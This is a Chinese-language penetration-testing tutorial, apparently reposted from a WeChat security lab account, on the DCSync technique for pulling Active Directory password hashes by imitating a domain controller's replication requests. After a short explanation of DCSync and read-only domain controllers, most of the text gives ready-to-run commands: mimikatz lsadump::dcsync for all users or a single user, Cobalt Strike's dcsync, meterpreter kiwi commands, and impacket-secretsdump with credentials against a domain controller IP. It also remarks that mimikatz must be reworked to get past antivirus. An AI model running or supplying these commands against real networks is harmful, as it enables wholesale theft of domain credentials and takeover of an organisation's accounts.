需求
做测试时,可能会碰到这种需求,比如有时候我需要获取某一个域用户的hash,或者是某个目标用户他改密码了,我需要从新获取他的密码,这时候如果从新下载ntds文件进行破解,比较麻烦,那么dcsync可以解决这个需求。
dcsync介绍
dcsync是dc synchronization的缩写,直译为dc同步,dcsync会模仿成一个域控,然后去真域控上进行请求hash操作。dcsync不用登录域控,它会通过数据同步的方式来获取指定用户的hash。
但如果域控类型是只读域控rodc,那么dcsync是无法获取相关信息的,先了解下rodc。
RODC介绍
有这样一种情况,就是一个公司在一个新城市开设了一个分公司,这个分公司人员比较少,但平时也会有连接总公司域控的需求,那么就会有几个问题:
1,安全性差,分公司人员少,没有专门的安全部门,无法保证分公司人员连接过来是安全的。
2,分公司这些人员平时需要连接总公司不频繁,只是偶尔需要。
3,网络慢,分公司距离总公司比较远,连接过来可能信号不好,验证失败等情况出现。
等等原因,那么此时RODC(read-only的意思),该类型的域控顾名思义,只能读取,一来可以节约成本,二来只能读取比较安全,三来速度上可以提高。
dcsync原理
在域内,不通dc之间每15分钟会同步一次数据,当一个辅dc从主dc上同步数据时,会向主dc发送一个GetNCChanges请求,用到的是Directory Replication Service(DRS)服务下的GetNCChanges接口,它会向域控发起同步数据请求,从而获得敏感信息,如果数据比较多,那么则会不断的发送该请求,直到数据全部同步。
而dcsync就是模仿域控给其它dc发送GetNCChanges请求。那么上面提到的rodc只读域控,它的机制是主dc可以给它信息,它保存起来,但如果其它dc从它这里请求获取信息,它是给不了的,没有其权限,所以dcsync碰到rodc是不行的。
mimikatz
mimikatz提供了相关的功能,请求所有用户hash命令如下:
mimikatz.exe "lsadump::dcsync /domain:afa.com /all /csv" exit
请求单个用户hash命令如下:
mimikatz.exe "lsadump::dcsync /domain:afa.com /user:jack" exit
CS-mimikatz
mimikatz本身会被杀,需要做处理,随后还要传到目标机,相对操作比较麻烦,这里cs也提供了mimikatz操作:
如果使用mimikatz需要执行一些涉及到权限相关命令的时候,可以尝试在模块前加个@符:
mimikatz @lsadump::dcsync /domain:afa.com /all /csv
CS-dcsync
mimikatz中的lsadump::dcsync用的比较多,所以CS单独把这个功能提取了出来,命令为dcsync:
# 获取单个用户的信息
dcsync domain.com domainuser
# 获取所有用户的信息
dcsync domain.com
meterpreter
这里不演示了,把命令贴一下,获取到一个meterpreter后,执行如下命令:
# 加载mimikatz
load kiwi
# 获取单个用户hash
dcsync domain\user
# 获取单个用户hash,和上面的dcsync命令比,dcsync_ntlm对结果做了下处理
dcsync_ntlm domain\user
# 获取所有用户hash,需要借助mimikatz模块
kiwi_cmd "lsadump::dcsync /domain:xxx.com /all /csv"
域外机器的情况
上面操作都是在域内机器的情况,还有一种情况是在域外,比如我们只拿到了域中某个账户和密码,但是没有拿下域中的机器,这时,上面那些办法就行不通了,在向dc请求时,上面都是通过域名指定的dc,域外机器ping不通,也建立不了连接。
此时就需要知道dc的ip,然后通过secretdump.py来操作。
这个脚本在前几节的域控漏洞那里用过,回顾一下,当时命令是:
impacket-secretsdump afa/DC-AFA$@192.168.136.151 -no-pass
当知道dc ip以及拥有一个域中账户密码时,命令也很简单:
impacket-secretsdump afa/administrator:'test123!'@192.168.136.128
完。
原文始发于微信公众号(aFa攻防实验室):DcSync远程获取域用户hash
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论